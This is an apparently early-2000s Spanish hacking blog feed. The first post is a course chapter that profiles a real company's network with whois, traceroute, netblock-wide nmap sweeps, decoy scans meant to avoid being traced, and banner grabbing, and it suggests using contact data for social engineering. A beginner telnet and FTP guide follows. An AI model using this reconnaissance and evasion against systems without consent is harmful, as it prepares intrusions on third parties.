<p>LECTER</p>
<p>CPH. CAPITULO 1. MERODEO Y RASTREO DEL OBJETIVO</p>
<p>Un explorador no explora a tontas y locas&#8230;sabe bien cual es su<br />
objetivo=2E Por lo tanto, lo que evidentemente hemos de subrayar como<br />
fundamental es la informacion que tenemos del sistema objetivo. Puede<br />
ser que conozcamos su nombre de dominio, su IP, y muchos datos mas,<br />
pero puede ser que para comenzar tengamos algo asi como poco menos que<br />
el nombre de la organizacion o la entidad &#8220;organizacion<br />
objetivo&#8221;. Afortunadamente desde nuestra maquina linux podemos usar la<br />
utilidad whois que permitira hacer consultas en la base de datos<br />
InterNIC, simplemente haciendo</p>
<p>$&gt;whois &#8220;organizacion objetivo&#8221;</p>
<p>y de este modo podremos ver muchos dominios diferentes asociados a tal<br />
entidad. No obstante los servidores de InterNIC truncan los resultados<br />
a 50 items, con lo que puede convenirnos consultar en<br />
http://www.websitez.com, que proporciona todos los registros asociados<br />
con la entidad buscada. Una vez conseguido el listadopodemos consultar<br />
los dominios relacionados (p.ej. objetivo.net) mediante</p>
<p>$&gt;whois objetivo.net</p>
<p>El resultado nos proporciona:<br />
-Domain Name<br />
-Registrar<br />
-Whois server<br />
-Referral ULR<br />
-Name Servers<br />
-Update Date</p>
<p>De este modo conseguimos informacion vinculada el objetivo y los<br />
servidores DNS. Ademas tambien la fecha de actualizacion nos informa<br />
de la precision de la informacion contenida en el objetivo. Si hace<br />
mucho tiempo que no se actualiza, podria estar obsoleta. Pero, una<br />
vez hemos consultado las bases de datos sobre los dominios es menester<br />
hacer lo propio sobre redes para comprobar si hay alguna red real<br />
asociada al dominio objetivo. Para ello podemos usar la base de datos<br />
de ARIN. Para ello haremos</p>
<p>$&gt;whois X.X.X.X@whois.arin.net</p>
<p>donde X.X.X.X es la IP de algun servidor DNS de los ya<br />
vistos. Revisando los datos podemos saber quien es el proveedor<br />
principal de la red central y la clase de red (ya que nos proporciona<br />
el intervalo de IPs) a que nuestro objetivo esta asociado.</p>
<p>Por ejemplo, supongamos que estoy interesado en la empresa transmeta<br />
(donde trabaja Linus Benedict Torvalds) pero no se nada mas.</p>
<p>$&gt;whois &#8220;transmeta&#8221;</p>
<p>[rs.internic.net]</p>
<p>Whois Server Version 1.1</p>
<p>Domain names in the .com, .net, and .org domains can now be registered<br />
with many different competing registrars. Go to<br />
http://www.internic.net for detailed information.</p>
<p>TRANSMETA.ORG<br />
TRANSMETA.NET<br />
TRANSMETA.COM</p>
<p>To single out one record, look it up with &#8220;xxx&#8221;, where xxx is one of<br />
the of the records displayed above. If the records are the same, look<br />
them up with &#8220;=3Dxxx&#8221; to receive a full display for each record.</p>
<p>&gt;&gt;&gt; Last update of whois database: Tue, 1 Aug 00 04:13:33 EDT &lt;&lt;&lt;</p>
<p>The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and<br />
Registrars.</p>
<p>Con esto me pongo a probar. Supongamos que me da por empezar por<br />
transmeta.com</p>
<p>$&gt;whois transmeta.com</p>
<p>[rs.internic.net]</p>
<p>Whois Server Version 1.1</p>
<p>Domain names in the .com, .net, and .org domains can now be registered<br />
with many different competing registrars. Go to<br />
http://www.internic.net for detailed information.</p>
<p>Domain Name: TRANSMETA.COM<br />
Registrar: NETWORK SOLUTIONS, INC.<br />
Whois Server: whois.networksolutions.com<br />
Referral URL: www.networksolutions.com<br />
Name Server: NS1.TRANSMETA.COM<br />
Name Server: NS2.TRANSMETA.COM<br />
Updated Date: 06-jan-2000</p>
<p>&gt;&gt;&gt; Last update of whois database: Tue, 1 Aug 00 04:13:33 EDT &lt;&lt;&lt;</p>
<p>The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and<br />
Registrars.</p>
<p>Bueno&#8230;no se actualiza desde enero de 2000, pero me interesa. Voy a<br />
utilizar la utilidad nslookup para conseguir las IPs de transmeta.com<br />
y los dos DNS servers De este modo consigo</p>
<p>Name: transmeta.com<br />
Addresses: 209.10.41.231, 209.10.41.232 (puede ser una pagina web y su espejo o gemelo)<br />
Name: ns1.transmeta.com<br />
Address: 209.10.41.227<br />
Name: ns2.transmeta.com<br />
Address: 209.10.217.68</p>
<p>Ahora voy a buscar si existe una red global que contenga el objetivo:</p>
<p>$&gt;whois 209.10.41.227@whois.arin.net</p>
<p>[whois.arin.net]<br />
Globix Corporation (NETBLK-GLOBIXBLK3)<br />
295 Lafayette St- 3rd Fl<br />
NY, NY 10012</p>
<p>Netname: GLOBIXBLK3<br />
Netblock: 209.10.0.0 &#8211; 209.11.159.255<br />
Maintainer: PFMC</p>
<p>Coordinator:<br />
Hostmaster, Globix Corporation (GCH2-ARIN) arin-admin@GLOBIX.NET<br />
212.334.8500 (FAX) 212.334.8615</p>
<p>Domain System inverse mapping provided by:</p>
<p>Z1.NS.NYC1.GLOBIX.NET 209.10.66.55<br />
Z1.NS.SJC1.GLOBIX.NET 209.10.34.55<br />
Z1.NS.LHR1.GLOBIX.NET 212.111.32.38</p>
<p>ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE</p>
<p>Record last updated on 10-Jul-2000.<br />
Database last updated on 1-Aug-2000 06:07:11 EDT.</p>
<p>The ARIN Registration Services Host contains ONLY Internet<br />
Network Information: Networks, ASN&#8217;s, and related POC&#8217;s.<br />
Please use the whois server at rs.internic.net for DOMAIN related<br />
Information and whois.nic.mil for NIPRNET Information.</p>
<p>De este modo hemos sabido que la red global es GLOBIXBLK3 de Globix<br />
Corporation y que va desde la IP 209.10.0.0 hasta la<br />
209.11.159.255. Tambien se nos ofrecen datos acerca del Coordinador<br />
que muy bien podrian servir para ciertas tecnicas de ingenieria social<br />
 <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Ahora no vendria nada mal determinar algo de la topologia rutas de<br />
acceso potencial de la red. Con el programa traceroute podemos<br />
descubrir la secuencia de hosts hasta llegar al objetivo e identificar<br />
dispositivos de control de acceso como routers o cortafuegos.</p>
<p>$&gt; traceroute transmeta.com</p>
<p>1 SEVI-X9.red.retevision.es (62.81.56.41) 138.486 ms 119.613 ms 130.83 ms<br />
2 SEVI-R1.red.retevision.es (62.81.56.28) 139.057 ms SEVI-R3.red.retevision.es (62.81.56.27) 120.209 ms SEVI-R1.red.retevision.es (62.81.56.28) 129.753 ms<br />
3 SEVI-R15.red.retevision.es (62.81.55.229) 120.721 ms 119.941 ms 129.843 ms<br />
4 BARC-R16.red.retevision.es (62.81.125.3) 139.933 ms 139.88 ms 150.833 ms<br />
5 BARC-R0.red.retevision.es (62.81.63.193) 159.007 ms 139.807 ms 149=2E913 ms<br />
6 mi4-retevision-E3-2-es.seabone.net (195.22.192.229) 161.544 ms 159.903 ms 159.887 ms<br />
7 gi-eth-2-mi5.seabone.net (195.22.205.235) 239.99 ms 159.912 ms 159=2E894 ms<br />
8 itmil201-ta-p5-1-0.ebone.net (195.158.241.117) 159.935 ms 149.876 ms 169.88 ms<br />
9 chgen102-tc-p0-1.ebone.net (195.158.241.37) 189.92 ms 169.909 ms 169.884 ms<br />
10 chgen101-tc-p3-0.ebone.net (195.158.237.34) 180.842 ms * 240.1 ms<br />
11 frpar205-tc-p1-0.ebone.net (195.158.228.22) 189.865 ms 178.867 ms 180.005 ms<br />
12 gblon303-tc-p1-0.ebone.net (195.158.228.150) 199.884 ms 199.848 ms 189.897 ms<br />
13 gblon504-tc-p1-0.ebone.net (195.158.232.33) 199.908 ms 199.824 ms 199.944 ms<br />
14 195.158.232.66 (195.158.232.66) 189.855 ms 189.901 ms 199.922 ms<br />
15 pos5-0-0-core2.lhr1.globix.net (209.10.12.197) 189.851 ms * pos2-2-core1.lhr1.globix.net (209.10.12.193) 230.109 ms<br />
16 170.atm0-0-core2.sjc1.globix.net (209.10.11.70) 359.851 ms 146.atm0-0-core2.sjc1.globix.net (209.10.11.46) 369.861 ms 359.918 ms<br />
17 pos5-0-0-aggr1.sjc1.globix.net (209.10.3.30) 359.882 ms 359.847 ms 370.234 ms<br />
18 v2-edge2.sjc1.globix.net (209.10.3.22) 359.627 ms 369.855 ms 359.959 ms<br />
19 www1.transmeta.com (209.10.41.231) 369.915 ms 379.868 ms 369.896 ms</p>
<p>Por fin&#8230;Parece ser que el =FAltimo eslabon es el servidor web<br />
www1.transmeta.com(una de las IP de transmeta.com, la otra sera el<br />
gemelo www2.transmeta.com) y el anterior a el podria ser un router<br />
frontera. Para conocer los registros de Mail eXchange (MX), es decir<br />
las maquinas que gestionan el correo de nuestro objetivo existe la<br />
utilidad host. Al hacer</p>
<p>$&gt;host transmeta.com</p>
<p>transmeta.com has address 209.10.41.232<br />
transmeta.com has address 209.10.41.231<br />
transmeta.com mail is handled (pri=3D40) by neosilicon.transmeta.com</p>
<p>obtengo el nombre del sistema que gestiona el correo. Esto es<br />
fundamental porque generalmente en los entornos comerciales el correo<br />
se administra en el mismo sistema que el cortafuegos. Con un nslookup<br />
descubrimos que la IP de neosilicon.transmeta.com es 209.10.217.68.</p>
<p>Bueno. Hasta ahora disponemos de una lista de direcciones Ip de red,<br />
servidores DNS, de correo y otras yerbas&#8230;pero =BFsabemos que<br />
sistemas estan activos y accesibles via internet?=BFy que puertos<br />
estan a la escucha? Bien, eso vamos a arreglarlo<br />
inmediatamente. Podriamos hacer barridos ping enviando paquetes ICMP<br />
ECHO(8) para recibir ICMP ECHO REPLY (0) si el destino esta<br />
activo. Mejor que ping es la herramienta fping que &#8220;pregunta&#8221; en<br />
paralelo y permite barrer rapidamente varias direcciones IP. Fping se<br />
usa mediante shell scripts con la utilidad gping (que viene incluida<br />
en fping) junto con el intervalo de IP, por ejemplo</p>
<p>$&gt;gping 209 10 0 0 254 (equivale a 209.10.0.0-209.10.0.254)</p>
<p>devolvera la IP junto con &#8220;is alive&#8221; si el host esta activo&#8230;pero<br />
vamos a pasar a la utilidad mas interesante para la exploracion que es<br />
nmap (www.insecure.org/nmap. Nmap no es solamente un explorador de<br />
puertos: permite hacer como fping barridos ping y determinar el<br />
sistema operativo por rastreo de pila. Cuando el trafico ICMP se<br />
encuentra bloqueado la exploracion de puertos es la mejor tecnica para<br />
encontrar hosts activos. Nmap permite la opcion de hacer TCP ping scan<br />
mediante la opcion -PT en el puerto 80 (puerto comun usado por los<br />
routers frontera para los sistemas de su misma zona y sus cortafuegos<br />
principales. Y permite analizar toda la red indicada como intervalo,<br />
con &#8220;mask&#8221; o utilizando bloques CIDR: por ejemplo 209.10.*.* equivale<br />
a 209.10.0-255.0-255 o usando mask, 209.10.0.0/16. Cualquiera de estas<br />
formas vale para usar con nmap. Si usamos la notaci=F3n de mask IP/n<br />
n=3D0 escanea toda internet y n=3D32 el host particular<br />
correspondiente a dicha IP.la mask /24 barrera una serie de IP<br />
correspondiente a x.x.x.0-225 (red de clase C con mascara de subred<br />
255.255.255.0)y /16 lo hara con una serie correspondiente a una clase<br />
B (x.x.0-255.0-255). Para ello hacemos como root</p>
<p>#&gt;nmap -sP -PT80 209.10-11.0-159.0-255</p>
<p>(barremos toda la red global)</p>
<p>y para cada host activo, aparecera &#8220;Host (x.x.x.x) appears to be up&#8221;.</p>
<p>Las opciones y posibilidades de nmap son grandes; conviene leerse el<br />
manual porque aqui solamente trataremos un nivel muy muy<br />
basico. Podemos realizar una exploracion de puertos sigilosa mediante<br />
un barrido semi abierto (TCP SYN scan) realizado como superusuario:</p>
<p>#&gt;nmap -sS transmeta.com</p>
<p>(los resultados pueden almacenarse en un fichero con la opcion -o<br />
fichero)</p>
<p># Nmap (V. nmap) scan initiated 2.53 as: nmap -sS transmeta.com<br />
Interesting ports on www1.transmeta.com (209.10.41.231):<br />
(The 1521 ports scanned but not shown below are in state: closed)<br />
Port State Service<br />
22/tcp open ssh<br />
80/tcp open http</p>
<p># Nmap run completed at Tue Aug 1 23:17:52 2000 &#8212; 1 IP address (1 host up) scanned in 28 seconds</p>
<p>Como puede verse www1.transmeta.com solamente tiene dos puertos<br />
abiertos, el de secure shell y el de servidor web.</p>
<p>Para que la exploracion sea todavia mas silenciosa conviene hacer el<br />
barrido utilizando se=F1uelos con la opcion -D. Supongamos que estamos<br />
interesados especificamente en una direccion x.x.x.x y en los puertos<br />
25, 139 y 443. Podemos hacer</p>
<p>#&gt;nmap -sS x.x.x.x -D se=F1uelo1, se=F1uelo2, ME -p25, 139, 443</p>
<p>De este modo se realiza un barrido SYN en tales puertos con dos host se=F1uelos 1 y 2. Asi el host escaneado pensara que esta siendo barrido ademas por dichos se=F1uelos. Hay que separar cada maquina se=F1uelo por comas y se puede usar &#8220;ME&#8221; como se=F1uelo que representa la posicion usada por nuestra maquina. Si se coloca ME en la sexta posicion o superior podemos estar casi seguros que no nos rastrearan, pero los hosts usados como se=F1uelos (en este ultimo caso del 1 al 5) han de estar activos porque si no podria producirse un SYN flooding en la maquina escaneada ademas de no ser notados tales se=F1uelos. Si usamos la opcion -I (ident) podemos conocer el nombre del usuario propietario del proceso conectado via TCP, pero para ello hay que hacer la conexion completa TCP (-sT) y seriamos vistos.</p>
<p>Una vez que conocemos los puntos a la escucha en nuestro sistema<br />
destino, el siguiente objetivo es identificar su sistema operativo. El<br />
procedimiento mas comun es mediante telnet al puerto 23; p.ej.</p>
<p>$&gt; telnet 163.143.103.12<br />
=2E&#8230;algunos mensajes tipicos&#8230;.<br />
HP-UX hpux B.10.01 A 9000/715 (ttyp2)<br />
login:</p>
<p>El problema es que muchos administradores eliminan el banner del<br />
sistema operativo, ciertos sistemas dan per se poca informacion y<br />
algunos listillos mienten como bellacos en el banner. De todos modos<br />
aunque el banner este off es posible usar otras argucias con telnet o<br />
netcat</p>
<p>$&gt;telnet ftp.netscape.com 21<br />
=2E&#8230;mensajes&#8230;.<br />
220 ftp29 FTP server (Unix System V Release 4.0)<br />
(entonces hacemos)<br />
SYST<br />
(y nos aparece si hay suerte)<br />
215 UNIX Type: L8 Version: SUNOS</p>
<p>En el caso de web servers con la utilidad netcat (la navaja del<br />
ejercito suizo para estas cuestiones) podemos hacer (p.ej., en<br />
hotbot.com)</p>
<p>$&gt;echo &#8216;GET / HTTP/1.0n&#8217; | nc hotbot.com 80 | egrep &#8216;^Server:&#8217;<br />
(para obtener)<br />
Server: Microsoft-IIS/4.0</p>
<p>Pero, por las otras razones, el procedimiento mas preciso es el<br />
llamado rastreo de pila (Stack fingerprinting). A la hora de escribir<br />
las pilas TCP/IP, cada fabricante suele interpretar a su manera la<br />
normativa RFC especifica y mediante la deteccion de estas diferencias<br />
se pueden realizar suposiciones razonables del sistema operativo. Para<br />
que la fiabilidad sea maxima debe al menos existir un puerto<br />
abierto. Hay dos utilidades que permiten realizar esto y son el ya<br />
celebrado programa nmap y queso. Nmap lo realiza con la opcion -O e<br />
incluso si no hay puertos a la escucha realiza una suposicion del<br />
sistema operativo. Queso hace la deteccion basandose en un unico<br />
puerto que por defecto es el 80, pero que puede cambiarse. Por<br />
ejemplo, parece que v2-edge2.sjc1.globix.net (209.10.3.22) como vimos<br />
al hacet traceroute a transmeta.com, es un router. =BFCual sera el<br />
sistema operativo? Para ello basta con hacer #&gt;nmap -O 209.10.3.22 (o<br />
con la opcion -sS para no ser detectados) y en mi caso no se<br />
encontraron puertos abiertos pero la suposicion del sistema operativo<br />
fue en todos los casos un Cisco Router.</p>
<p>=BFOs acordais del gestor de correo de transmeta.com? Se trataba de<br />
neosilicon.transmeta.com (209.10.217.68) y pensabamos que se trataba<br />
de un posible cortafuegosSi hago #&gt;nmap -sS -O 209.10.217.68 tarda un<br />
monton, pero se observa que tiene abiertos los puertos 25 (gestor de<br />
correo, 21 (servidor ftp) y 53 (domain, consulta de DNS). Si hacemos<br />
la consulta a las bravas con #&gt;nmap -O 209.10.217.68 -p25 nos sale un<br />
Linux 2.0.x y si lo hacemos con #&gt;queso 209.10.217.68:25 nos sale lo<br />
mismo.</p>
<p>Cabria decir que neosilicon.transmeta.com se encarga del correo y el<br />
ftp de transmeta.com. Si nos atrevemos a hacer un telnet a esos<br />
puertos nos sale:</p>
<p>$&gt;telnet 209.10.217.68 25<br />
=2E&#8230;mensajes&#8230;.<br />
220 neosilicon.transmeta.com ESMTP Sendmail 8.9.3 &#8230;</p>
<p>$&gt;telnet 209.10.217.68 21<br />
=2E&#8230;mensajes intimidatorios&#8230;.<br />
220 neosilicon transmeta.com FTP Server (Version wu-2.6.1(1)) ready&#8230;</p>
<p>Y basta por esta entrega.</p>
<p>En el capitulo 2 trataremos de obtener informacion critica del sistema<br />
objetivo: transferencia de zona en DNS, busqueda de cortafuegos y<br />
routers con hping, nmap y netcat, exportacion de archivos NFS,<br />
exportacion de listas de usuarios, aplicaciones RPC, NIS y bugs de los<br />
demonios escuchantes en los puertos tipicos smpt, pop, imap&#8230;</p>
<p>Tened cuidado ahi fuera <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':-D' class='wp-smiley' /> </p>
<p>LECTER</p>


<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-i/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Guia de Telnet</title>
		<link>http://www.hackindex.com/index.php/2001/06/guia-de-telnet/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/guia-de-telnet/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:08:10 +0000</pubDate>
		<dc:creator>Sldn</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Protocologia]]></category>
		<category><![CDATA[anonimato]]></category>
		<category><![CDATA[ftp]]></category>
		<category><![CDATA[guia de telnet]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[protocolos]]></category>
		<category><![CDATA[puertos]]></category>
		<category><![CDATA[remailers anonimos]]></category>
		<category><![CDATA[seldon]]></category>
		<category><![CDATA[smtp]]></category>
		<category><![CDATA[telnet]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=163</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Guía de telnet Autor: Seldon Tema: Protocología La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Guía de telnet<br />
Autor: Seldon<br />
Tema: Protocología</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<li><strong>1. PREFACIO</strong></li>
<li><strong>2. PEQUEÑA INTRODUCCIÓN A LOS PUERTOS</strong></li>
<li><strong>3. FTP</strong>
<ul>
<li><strong>3.a Teoría</strong></li>
<li><strong>3.b Comandos</strong></li>
<li><strong>3.c Práctica</strong></li>
</ul>
</li>
<li><strong>4. TELNET</strong>
<ul>
<li><strong>4.a Teoría</strong></li>
<li><strong>4.b Práctica</strong></li>
</ul>
</li>
<li><strong>5. ENVÍO DE CORREO ELECTRÓNICO (SMTP)</strong>
<ul>
<li><strong>5.a Práctica</strong></li>
<li><strong>5.b Remailers anónimos</strong></li>
</ul>
</li>
<li><strong>6. OTRAS CUESTIONES DE INTERÉS</strong>
<ul>
<li><strong>6.a. Otros puertos interesantes</strong></li>
</ul>
<p>*****************************************************************</p>
<p>1.-PREFACIO</p>
<p>Esto es una pequeña guía para ayudar a los más nuevos (newbies) a poder seguir sin muchas dificultades las siguientes lecciones del FOR YOU a poder seguir sin muchas dificultades las siguientes lecciones de proyecto HackIndex. No es en ningún caso un manual de hacking, los servicios a los que accederemos aquí son accesibles para todo el mundo, no sólo para hackers <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Si después de leer esto tienes dudas, vuélvetelo a leer. Si sigues teniendo dudas, pregúntalas en la lista, no a mi dirección de e-mail. Todos ganaremos si las dudas son respondidas en la lista, además de servir para corregir o añadir algo al texto.</p>
<p>*****************************************************************</p>
<p>2.- PEQUEÑA INTRODUCCIÓN A LOS PUERTOS</p>
<p>Un puerto lógico es en parte similar a un puerto físico (eso que hay detrás de la caja del ordenador, donde conectamos la impresora, el ratón, el módem&#8230;). Detrás de cada puerto hay un programa, que da un servicio a todo aquel que se conecte a él y tenga permiso para acceder al servicio.</p>
<p>Para que sea accesible, el puerto debe estar &#8216;abierto&#8217;. Además, debe tener un programa detrás de él, porque si no, aunque nos conectemos, no podremos hacer nada con él. Para saber qué puertos están abiertos debemos usar un scaner. Puedes encontrar algunos muy buenos en http://hello.to/nbk/ y http://www.geocities.com/crino1p/ <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> )))</p>
<p>Hay miles de listas muy completas con todos los puertos. Ahí abajo incluyo una para mayor comodidad, con los puertos más comunes y/o más importantes.</p>
<p>En la lista se asume que cada puerto está relacioque cada puerto está relacionado con su número asociado (ftp con el 21, smtp con el 25, etc&#8230;), pero nada impide que podamos intercambiar estos números (poner el ftp en el 1234, p.e.). También recordar que a la hora de conectar con un puerto da igual poner su número que su nombre (&#8216;telnet www.servidor.com 21&#8242; es equivalente a &#8216;telnet www.servidor.com ftp&#8217;)</p>
<p>Y aquí está la lista:</p>
<p>Puerto Servicio Descripción</p>
<p>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</p>
<p>7 echo Lo que teclees se volvera a escribir</p>
<p>9 discard dev/null &#8211; basura</p>
<p>11 systat Informacion sobre los usuarios</p>
<p>13 date Hora y fecha en el host remoto</p>
<p>15 netstat Informacion sobre la red</p>
<p>21 ftp Transferencia de ficheros</p>
<p>23 telnet Acceso al shell</p>
<p>25 smtp Correo saliente</p>
<p>37 time Hora en el host remoto</p>
<p>39 rlp Localizacion del recurso</p>
<p>43 whois Informacion sobre la red y el host</p>
<p>53 domain Nombre del servidor</p>
<p>70 gopher Buscador de informacion (ya anticuado)</p>
<p>79 finger Informacion sobre los usuarios</p>
<p>80 www Servidor de Web</p>
<p>110 pop3 Correo entrante</p>
<p>119 nntp Grupos de noticias (news)</p>
<p>139 nbsession Netbios session</p>
<p>443 shttp Servidor de Web &#8216;seguro&#8217;</p>
<p>512 biff Notificacion de correo</p>
<p>513 rlogin Login remoto</p>
<p>514 shell Comando remoto</p>
<p>515 spooler Impresoras UNIX</p>
<p>520 route Protocolo de informacion sobre routing</p>
<p>8000 http Otro servidor de web.</p>
<p>8080 proxy</p>
<p>*****************************************************************</p>
<p>3.- FTP</p>
<p>3.a Teoría</p>
<p>FTP significa File Transfer Protocol, protocolo de transferencia de archivos, en castellano. Y sirve, cómo no, para ésto mismo, transferir ficheros: o de nuestra máquina hacia la máquina remota (upload o subir archivos) o de la máquina remota hacia la nuestra (download o bajar archivos).</p>
<p>También permite seguir bajandose un archivo después de un corte de conexión (por haberse cortado o por ser un archivo muy grande que queremos bajar en varias sesiones)</p>
<p>Un programa de FTP servidor suele abrir el puerto 21 en la máquina en la que está instalado, para que se puedan conectar por él otras máquinas. Un programa de FTP cliente es el que se utiliza para conectarnos al servidor. Los hay gráficos, como el FileZilla para Windows o el IglooFTP para Linux, y en modo texto, que están incluídos en ambos sistemas operativos (para arrancarlos, escribir el comando ftp en una ventana de MS-DOS o de la consola de texto, en Windows y Linux respectivamente). Aquí nos centraremos en los programas clientes de texto.</p>
<p>El FTP no está diseñado para ejecutar programas, para eso está telnet (ver más abajo), pero sí se pueden ejecutar algunos, los que sirven para poder decirle a la máquina que queremos subir o bajar algún archivo o para navegar entre los directorios.</p>
<p>Hay varios modos de transferencia de ficheros: ASCII y binarios. Los ficheros ASCII son los archivos de texto, y los binarios todos los demás (programas, imágenes&#8230;). Si transferimos un fichero de texto como binario, seguramente se perderá el formato del archivo (aparecerán símbolos extraños o saltos de línea donde no deberían haberlos), pero no será excesivamente grave.</p>
<p>Sin embargo, si transferimos un binario como texto, es casi seguro que quede inutilizable. Por eso es importante asegurarse de cambiar el modo antes de bajarse un programa, una imagen o un archivo de sonido. Luego, a menos que queramos bajarnos otro archivo, debemos cambiar nuevamente al modo ASCII para poder recibir correctamente la lista de archivos de un directorio (al hacer ls). Normalmente no deberemos preocuparnos por esto si utilizamos un programa de ftp, aunque sea en modo texto. Pero si nos conectamos mediante un programa de telnet sí lo tendremos que tener en cuenta.</p>
<p>3.b Comandos</p>
<p>Nota: Estos son los comandos más importantes del ftp texto para Linux. Los del ftp texto parinux. Los del ftp texto para ms-dos son iguales en su mayor parte, así que no creo que haya ningún problema en encontrar los comandos equivalentes. Para información sobre los comandos que no he incluído aquí, escribir el comando &#8216;man ftp&#8217;</p>
<p>ascii = cambia a modo ASCII (por defecto)</p>
<p>binary = cambia a modo binario</p>
<p>bye = quit = exit = ¡adiós!</p>
<p>cd = Cambio Directorio (¡ojo! no sirve poner &#8216;cd..&#8217; como en DOS, hay que poner &#8216;cd ..&#8217; (con espacio)</p>
<p>cdup = igual a &#8216;cd ..&#8217;</p>
<p>close = disconnect = corta la conexión sin salir del programa</p>
<p>delete = borra un archivo en la máquina remota</p>
<p>dir = muestra la lista de archivos del directorio actual. No admite parámetros.</p>
<p>get [archivo.arc] = descargarse el archivo.arc. ¡Ojo! Fíjate de que estás en el modo adecuado antes de descargarlo.</p>
<p>lcd = sin nada más, muestra el directorio local actual. Con un directorio, cambia el directorio local a ese directorio (en el directorio local se guardarán los archivos descargados, y de él se cojerán los que se suban)</p>
<p>ls = muestra los archivos del directorio actual. Los parámetros son los mismos que los del ls del s.o.</p>
<p>mkdir = crea un directorio en la máquina remota.</p>
<p>open = abre una conexión. Sólo es necesario si no ha sido especificado</p>
<p>un sitio en la llamada al programa (como por ejemplo, ftp ftp.rediris.es)</p>
<p>proxy = Se conecta a otro sitio sin desconectar del primero.</p>
<p>put = sube un archivo</p>
<p>rename = renombra un archivo/directorio &#8212; ¡Esto puede resultar muy interesante a veces! <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>reget = seguir bajándose un archivo que ha sido cortado anteriormente.</p>
<p>rmdir = borra un directorio, siempre que esté vacío (aunque algunos parezca que lo estén porque no vemos nada al hacer un ls, lo que pasa es que tienen archivos para los que no tenemos permiso de lectura (si no sabes lo que es esto, lee un manual básico de UNIX)).</p>
<p>mdelete, mdir, mget, mls = lo mismo que esos comandos sin m, pero para varios archivos / directorios</p>
<p>3.c Práctica</p>
<p>Vamos a subir nuestra página web al servidor, para ponerla en internet. Nuestra página principal se llama index.html, y contiene una imagen llamada imagen.jpg, que la queremos poner en un directorio aparte (imágenes).</p>
<p>Pues primero nos conectamos a nuestro servidor. Esto se hace poniendo el comando &#8216;ftp (servidor)&#8217;. Debes sustituir (servidor) por el nombre de tu servidor, por ejemplo ftp.example.com. Por defecto se asume que el puerto es el 21, si fuera otro tedrías que indicárselo. Por ejemplo, si usa el puerto 4000,tendrías que poner &#8216;ftp ftp.servidor.es 4000&#8242;.</p>
<p>Ahora nos saldrá un prompt que nos pedirá un login (username). Le ponemos nuestro nombre de usuario. Si quisiéramos conectarnos anónimamente tendríamos que poner &#8216;anonymous&#8217; (esto es así para la mayoría de servidores.</p>
<p>Puede, no obstante, que te encuentres algunnte, que te encuentres alguno que no sea así. En estos casos hay que probar con &#8216;guest&#8217; o similares). Como este no es el caso, introducimos nuestro nombre de usuario, por ejemplo, seldon.</p>
<p>Luego nos pedirá una contraseña. Si hemos entrado como &#8216;anonymous&#8217; tendremos que poner una dirección de e-mail. Poniendo &#8216;guest@&#8217; ya vale en la mayor parte de los casos. También puedes poner tu verdadera dirección si quieres que te acaben de mandar por correo los archivos que no te has podido bajar (el servidor debe aceptar esta opción). Si hemos entrado como usuario no anónimo, introduciremos nuestra contraseña.</p>
<p>¡Y ya estamos dentro!, ahora podemos ver nuestros directorios. Si ponemos &#8216;cd ..&#8217; veremos que estamos en el directorio raíz. Esto no es así en realidad, para la máquina no es el nuestro el directorio raíz, sólo lo es para un usuario (nosotros).</p>
<p>Si ponemos &#8216;ls&#8217; podremos ver los archivos que hayamos puesto anteriormente nosotros ahí. También veremos varios subdirectorios. Uno de ellos es bin, otro sbin. Si miramos dentro de estos subdirectorios veremos que, aparentemente, están vacíos, pero no es así, lo que pasa es que están llenos de archivos para los que no tenemos permisos de lectura (pero sí de ejecución). Si no sabes qué quiere decir esto, te recomiendo que mires la sección de permisos de un manual básico de UNIX.</p>
<p>Estos subdirectorios no se pueden borrar, porque contienenborrar, porque contienen archivos de los que no somos los propietarios, pero sí renombrar <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
